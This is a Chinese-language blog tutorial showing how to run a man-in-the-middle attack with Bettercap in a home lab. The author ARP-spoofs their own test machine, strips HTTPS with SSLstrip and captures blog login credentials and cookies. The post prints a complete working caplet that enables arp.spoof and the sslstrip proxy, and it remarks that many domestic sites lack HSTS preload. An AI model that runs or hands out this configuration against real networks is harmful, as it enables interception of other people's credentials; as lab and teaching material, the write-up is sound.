前言
Bettercap安装和图形化见上文: 更好的自动化跨平台中间人攻击工具: Bettercap (1): 安装和图形化
Bettercap有着非常多的模块,从Arp攻击到蓝牙和GPS那些, 当然我不可能在这里都介绍到.
Bettercap模块文档
文档很详细, 如果懒得用文档或者你在攻击是离线, Web UI有很详细的描述, CLI中的help命令也几乎就是文档的内容.
攻击准备
我们的目标是尝试使用Bettercap和现成的caplets模板进行MITI攻击, 窃取我在192.168.2.198
登录博客后台的凭证.
我们需要通过ARP欺骗监听靶机通讯, 所以我们需要用到arp.spoof
模块.
由于我的博客启用了SSL, 所以我们需要使用SSLstrip来破坏https. 由于bettercap本身集成了SSLstrip所以我们只需要在http.proxy
模块中开启这个选项即可: set http.proxy.ssltrip true
介绍一下这个模块, 开启http.proxy
后会把被ARP欺骗过的机器的http流量引过来, 经过这个模块. 而这个模块允许我们对流经的http请求内容进行一些修改(比如插入脚本,或者ssltrip).而启用它只需要http.proxy on
就可以了.
简单介绍一下SSLstrip, 几年前浏览器在访问一个陌生网站时会首先试图建立http连接而非https. 我们可以作为一个代理, 一方面用https和服务器建立连接, 对浏览器通过http通信.
有一个现成的caplet, http-req-dump
现在我们开启http-ui, 可以使用web UI进行更方便的攻击.
sudo bettercap -caplet http-ui
适当修改一个现成的caplet, http-req-dump
. 这个caplet可以帮助我们看到每个http的通信和内容.
我把内容贴出来(图其实有错误):
# targeting the whole subnet by default, to make it selective:
#
# sudo ./bettercap -caplet http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64"
# to make it less verbose
# events.stream off
set arp.spoof.targets 192.168.2.198 # 你可以在这里设置目标, 也可以在gui里点.
# discover a few hosts
net.probe on
sleep 1
net.probe off
# uncomment to enable sniffing too
# set net.sniff.verbose false
# set net.sniff.local true
# set net.sniff.filter tcp port 443
# net.sniff on
# we'll use this proxy script to dump requests
set http.proxy.sslstrip true # 开启了sslstrip
set https.proxy.script http-req-dump.js
set http.proxy.script http-req-dump.js
clear
# go ^_^
http.proxy on
arp.spoof on
点击那个可爱的小三角启动这个caplet, 开始攻击.
结果
此时访问某些网站你会发现, 那个象征SSL的小锁出了一些问题, 但是页面依旧会正常显示, 不会出现任何警告.
我的博客依旧可以被访问
但是此时并不是HTTPS, 而是HTTP.
我们尝试在靶机登录我的博客后台, 浏览器认为连接不安全给出了安全警告.
然后我们看看CLI的输出, 你能看到我们抓到了一些什么(这两个图不是同一次测试截图)
上图第一行说明SSLstrip破坏了HTTPS连接, 下面就是嗅探到的内容.
到此我们得到了登录凭证.
甚至抓取到了我编写这篇文章时这篇文章本身内容, 和Cookie.
我注意到一点, 国内的大多数网站没有被加入HSTS Pre-load. 意味着可以被SSLstrip在第一次加载时攻击.
但是我在Chrome浏览器里依旧没有ssltrip成功.后面我再研究一下原因. 我认为可能是因为之前访问过所以浏览器记住了这个网站有SSL还是怎么着. 所以后面实验截图都是在清空数据的Firefox中做的.
Comments
防水材料加盟:
感谢分享 赞一个
Reply